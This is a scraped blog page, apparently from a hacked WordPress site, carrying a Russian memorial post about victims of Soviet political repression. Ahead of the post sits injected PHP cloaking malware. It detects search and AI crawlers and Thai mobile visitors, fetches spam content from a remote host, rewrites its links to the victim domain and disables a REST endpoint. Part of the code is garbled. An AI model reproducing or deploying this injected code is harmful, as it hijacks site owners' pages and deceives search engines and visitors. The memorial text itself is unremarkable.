$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); 30 октября — День памяти жертв политических репрессий — Вечный путь к совершенству

30 октября — День памяти жертв политических репрессий

Любой, кто знает Володю, скажет, что он всегда был ярым противником любого насилия над личностью, не говоря уже о его физических проявлениях. Всегда считал, что у человека должно быть право выбора и возможность высказывать и отстаивать свою точку зрения.  Он очень сильно переживал и сочувствовал тем людям, кто пострадал: был расстрелян, сослан, унижен и растоптан этим жестоким режимом.  Считал очень несправедливым, что так и не понесли наказание те,  кто устроил все это; что все, кто делал это или молчал, позволяя этому случиться, не попросили прощение у этих людей. Он смотрел много документальных передач и читал много статей на эту тему. Узнал много удивительных и страшных фактов про случившееся. Трагедией был для него осознавать, что его бабушка Антонина Ивановна и дедушка Василий Михайлович, мама Ирина Васильевна и дядя Валентин Васильевич прошли через все это.

Каждое 30 ноября в любую погоду мы ходили к Соловецкому камню на Лубянской площади с цветами — чтили память Жертв политических репрессий. После этого шли возложить цветы на Никольскую улицу к Расстрельному дому. Светлая память всем ставшим жертвам политических репрессий…

Затянутый тканью слева — дом 23 по улице Никольской известен как «расстрельный дом» — здесь в годы Большого террора размещалась Военная коллегия Верховного суда СССР.

Эти фотографии сделаны в 2019 году. Если у Соловецкого камня всем давали спокойно класть цветы общаться с другими людьми, то у Расстрельного дома стояли охранники, которые не давали даже приближаться к зданию. Мы пока подходили увидели это и не сговариваясь Володя направился к охранникам отвлекать их разговором, а я прошла мимо и уличила момент засунуть эти две гвоздики в щель пошла дальше, развернулась и на обратном пути сделала фото для Володи. Унизительно и обидно, что приходится так изворачиваться, чтобы высказать свое мнение и отстоять свои принципы. Даже в таком малом. Надеюсь, что какое-то время эти цветы там  просуществовали. Пока они их не заметили и не выбросили. Светлая и долгая память всем жертвам политических репрессий и простите, что до сих пор собственное благополучие и страх сильнее нас.

Две цитаты, которые Володя часто повторял: